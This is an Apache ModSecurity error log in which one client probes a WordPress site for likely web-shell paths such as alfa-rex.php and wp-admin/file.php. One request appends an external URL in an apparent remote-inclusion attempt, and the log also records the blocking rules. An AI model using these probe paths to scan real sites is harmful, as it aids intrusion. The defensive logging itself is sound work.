[Thu Feb 26 22:23:04.719232 2026] [:error] [pid 44444:tid 44463] [client 20.151.107.14:64251] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/st.php"] [unique_id "aaBXSG2sMNmj-yekUk1LUgAAAg0"]
[Thu Feb 26 22:23:05.308660 2026] [:error] [pid 55618:tid 55644] [client 20.151.107.14:62951] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/class-config.php"] [unique_id "aaBXSR61Vrh12f_8oWQUNgAAARc"]
[Thu Feb 26 22:23:05.927751 2026] [:error] [pid 44444:tid 44454] [client 20.151.107.14:63523] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/class-config.php"] [unique_id "aaBXSW2sMNmj-yekUk1LXgAAAgQ"]
[Thu Feb 26 22:23:06.424503 2026] [:error] [pid 55051:tid 55059] [client 20.151.107.14:64244] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/class-config.php"] [unique_id "aaBXSgmK1w2kZvh5eLHN8wAAAIU"]
[Thu Feb 26 22:23:06.926045 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:62955] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/class-config.php"] [unique_id "aaBXSm2sMNmj-yekUk1LawAAAgc"]
[Thu Feb 26 22:23:08.469055 2026] [:error] [pid 20419:tid 20438] [client 20.151.107.14:64255] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "aaBXTO3DVDvMfTYYUBVnuwAAAdA"]
[Thu Feb 26 22:23:10.245421 2026] [:error] [pid 55051:tid 55062] [client 20.151.107.14:63568] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "aaBXTgmK1w2kZvh5eLHOAwAAAIg"]
[Thu Feb 26 22:23:11.312635 2026] [:error] [pid 3883:tid 3887] [client 20.151.107.14:63551] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "aaBXT-A33x90V6yYHaj1nwAAAUE"]
[Thu Feb 26 22:23:12.495175 2026] [:error] [pid 54991:tid 55037] [client 20.151.107.14:62929] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/file.php"] [unique_id "aaBXUN4Zx-mJ8gbRB2j9JwAAAFE"]
[Thu Feb 26 22:23:13.636727 2026] [:error] [pid 20419:tid 20441] [client 20.151.107.14:64225] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.phphttps://win55.bike/ioxi-o.php"] [unique_id "aaBXUe3DVDvMfTYYUBVnwgAAAdM"]
[Thu Feb 26 22:23:14.515196 2026] [:error] [pid 3883:tid 3889] [client 20.151.107.14:63597] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.phphttps://win55.bike/ioxi-o.php"] [unique_id "aaBXUuA33x90V6yYHaj1oAAAAUM"]
[Thu Feb 26 22:23:15.633898 2026] [:error] [pid 54991:tid 55044] [client 20.151.107.14:63543] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.phphttps://win55.bike/ioxi-o.php"] [unique_id "aaBXU94Zx-mJ8gbRB2j9LAAAAFg"]
[Thu Feb 26 22:23:16.558807 2026] [:error] [pid 44444:tid 44450] [client 20.151.107.14:63533] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/edit.phphttps://win55.bike/ioxi-o.php"] [unique_id "aaBXVG2sMNmj-yekUk1LuwAAAgA"]
[Thu Feb 26 22:23:17.200630 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:63537] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/404.php"] [unique_id "aaBXVW2sMNmj-yekUk1LvwAAAg4"]
[Thu Feb 26 22:23:17.851466 2026] [:error] [pid 44444:tid 44454] [client 20.151.107.14:63603] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/404.php"] [unique_id "aaBXVW2sMNmj-yekUk1LygAAAgQ"]
[Thu Feb 26 22:23:18.348472 2026] [:error] [pid 44444:tid 44471] [client 20.151.107.14:61389] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/404.php"] [unique_id "aaBXVm2sMNmj-yekUk1L0QAAAhU"]
[Thu Feb 26 22:23:18.839356 2026] [:error] [pid 44444:tid 44459] [client 20.151.107.14:63544] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/404.php"] [unique_id "aaBXVm2sMNmj-yekUk1L1wAAAgk"]
[Thu Feb 26 22:23:19.319129 2026] [:error] [pid 54991:tid 55030] [client 20.151.107.14:62849] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aaBXV94Zx-mJ8gbRB2j9LgAAAEo"]
[Thu Feb 26 22:23:19.831925 2026] [:error] [pid 44444:tid 44452] [client 20.151.107.14:62881] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aaBXV22sMNmj-yekUk1L4QAAAgI"]
[Thu Feb 26 22:23:20.444193 2026] [:error] [pid 44444:tid 44460] [client 20.151.107.14:64192] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aaBXWG2sMNmj-yekUk1L6gAAAgo"]
[Thu Feb 26 22:23:20.886564 2026] [:error] [pid 54991:tid 55039] [client 20.151.107.14:64134] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aaBXWN4Zx-mJ8gbRB2j9OAAAAFM"]
[Thu Feb 26 22:23:21.324383 2026] [:error] [pid 54991:tid 55037] [client 20.151.107.14:63594] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ini.php"] [unique_id "aaBXWd4Zx-mJ8gbRB2j9OQAAAFE"]
[Thu Feb 26 22:23:21.798848 2026] [:error] [pid 54991:tid 55036] [client 20.151.107.14:63574] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ini.php"] [unique_id "aaBXWd4Zx-mJ8gbRB2j9PQAAAFA"]
[Thu Feb 26 22:23:22.289206 2026] [:error] [pid 44444:tid 44466] [client 20.151.107.14:64211] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ini.php"] [unique_id "aaBXWm2sMNmj-yekUk1L9QAAAhA"]
[Thu Feb 26 22:23:22.936822 2026] [:error] [pid 3883:tid 3903] [client 20.151.107.14:62913] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ini.php"] [unique_id "aaBXWuA33x90V6yYHaj1rQAAAVE"]
[Thu Feb 26 22:23:23.535433 2026] [:error] [pid 3883:tid 3902] [client 20.151.107.14:63606] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aaBXW-A33x90V6yYHaj1rwAAAVA"]
[Thu Feb 26 22:23:24.031398 2026] [:error] [pid 54990:tid 55006] [client 20.151.107.14:63608] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aaBXXHtr2qmt_mBhH2wvHgAAAA0"]
[Thu Feb 26 22:23:25.048404 2026] [:error] [pid 3883:tid 3899] [client 20.151.107.14:63569] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aaBXXeA33x90V6yYHaj1sQAAAU0"]
[Thu Feb 26 22:23:25.606446 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:63602] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aaBXXW2sMNmj-yekUk1MDgAAAg4"]
[Thu Feb 26 22:23:26.994103 2026] [:error] [pid 44444:tid 44454] [client 20.151.107.14:62912] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aaBXXm2sMNmj-yekUk1MIQAAAgQ"]
[Thu Feb 26 22:23:28.041166 2026] [:error] [pid 25311:tid 25316] [client 20.151.107.14:62922] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aaBXYNfdM__yZAgJFSvrjQAAAYI"]
[Thu Feb 26 22:23:28.855537 2026] [:error] [pid 54991:tid 55042] [client 20.151.107.14:62946] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aaBXYN4Zx-mJ8gbRB2j9TAAAAFY"]
[Thu Feb 26 22:23:29.499489 2026] [:error] [pid 55051:tid 55062] [client 20.151.107.14:63589] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aaBXYQmK1w2kZvh5eLHOewAAAIg"]
[Thu Feb 26 22:23:38.324281 2026] [:error] [pid 55051:tid 55067] [client 20.151.107.14:62857] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aaBXagmK1w2kZvh5eLHOqgAAAI0"]
[Thu Feb 26 22:23:40.796519 2026] [:error] [pid 55618:tid 55629] [client 20.151.107.14:63602] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aaBXbB61Vrh12f_8oWQUQAAAAQg"]
[Thu Feb 26 22:23:44.751872 2026] [:error] [pid 55618:tid 55637] [client 20.151.107.14:64234] [client 20.151.107.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.151.107.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaBXcB61Vrh12f_8oWQURQAAARA"]
[Thu Feb 26 22:23:47.929509 2026] [:error] [pid 20419:tid 20444] [client 20.151.107.14:62918] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/index.php"] [unique_id "aaBXc-3DVDvMfTYYUBVn1wAAAdY"]
[Thu Feb 26 22:23:51.981148 2026] [:error] [pid 55051:tid 55063] [client 20.151.107.14:62861] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aaBXdwmK1w2kZvh5eLHO9gAAAIk"]
[Thu Feb 26 22:23:52.537174 2026] [:error] [pid 55051:tid 55078] [client 20.151.107.14:64151] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aaBXeAmK1w2kZvh5eLHO-QAAAJg"]
[Thu Feb 26 22:23:53.007496 2026] [:error] [pid 54991:tid 55022] [client 20.151.107.14:64194] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aaBXed4Zx-mJ8gbRB2j9fwAAAEI"]
[Thu Feb 26 22:23:53.451895 2026] [:error] [pid 20419:tid 20428] [client 20.151.107.14:63575] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aaBXee3DVDvMfTYYUBVn4QAAAcY"]
[Thu Feb 26 22:23:53.898860 2026] [:error] [pid 44444:tid 44474] [client 20.151.107.14:63604] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aaBXeW2sMNmj-yekUk1MbgAAAhg"]
[Thu Feb 26 22:23:54.426738 2026] [:error] [pid 44444:tid 44464] [client 20.151.107.14:64179] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "aaBXem2sMNmj-yekUk1MbwAAAg4"]
[Thu Feb 26 22:23:55.011553 2026] [:error] [pid 55051:tid 55059] [client 20.151.107.14:62944] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "aaBXewmK1w2kZvh5eLHPAwAAAIU"]
[Thu Feb 26 22:23:55.997177 2026] [:error] [pid 54991:tid 55037] [client 20.151.107.14:63508] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "aaBXe94Zx-mJ8gbRB2j9hgAAAFE"]
[Thu Feb 26 22:23:56.484738 2026] [:error] [pid 55051:tid 55071] [client 20.151.107.14:64196] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "aaBXfAmK1w2kZvh5eLHPEAAAAJE"]
[Thu Feb 26 22:23:57.077543 2026] [:error] [pid 25311:tid 25327] [client 20.151.107.14:63499] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaBXfdfdM__yZAgJFSvrowAAAY0"]
[Thu Feb 26 22:23:57.570262 2026] [:error] [pid 44444:tid 44456] [client 20.151.107.14:62949] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaBXfW2sMNmj-yekUk1MfAAAAgY"]
[Thu Feb 26 22:23:58.127524 2026] [:error] [pid 44444:tid 44461] [client 20.151.107.14:64207] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaBXfm2sMNmj-yekUk1MhAAAAgs"]
[Thu Feb 26 22:23:58.649501 2026] [:error] [pid 55618:tid 55642] [client 20.151.107.14:63488] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaBXfh61Vrh12f_8oWQUSwAAARU"]
[Thu Feb 26 22:23:59.140309 2026] [:error] [pid 44444:tid 44451] [client 20.151.107.14:61378] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBXf22sMNmj-yekUk1MiQAAAgE"]
[Thu Feb 26 22:23:59.569453 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:64243] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBXf22sMNmj-yekUk1MjwAAAgc"]
[Thu Feb 26 22:24:00.038944 2026] [:error] [pid 55051:tid 55073] [client 20.151.107.14:63493] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBXgAmK1w2kZvh5eLHPLgAAAJM"]
[Thu Feb 26 22:24:00.496199 2026] [:error] [pid 54990:tid 55003] [client 20.151.107.14:64146] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/about.php"] [unique_id "aaBXgHtr2qmt_mBhH2wvJQAAAAo"]
[Thu Feb 26 22:24:01.339755 2026] [:error] [pid 54990:tid 55009] [client 20.151.107.14:64165] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa-rex.php"] [unique_id "aaBXgXtr2qmt_mBhH2wvJgAAABA"]
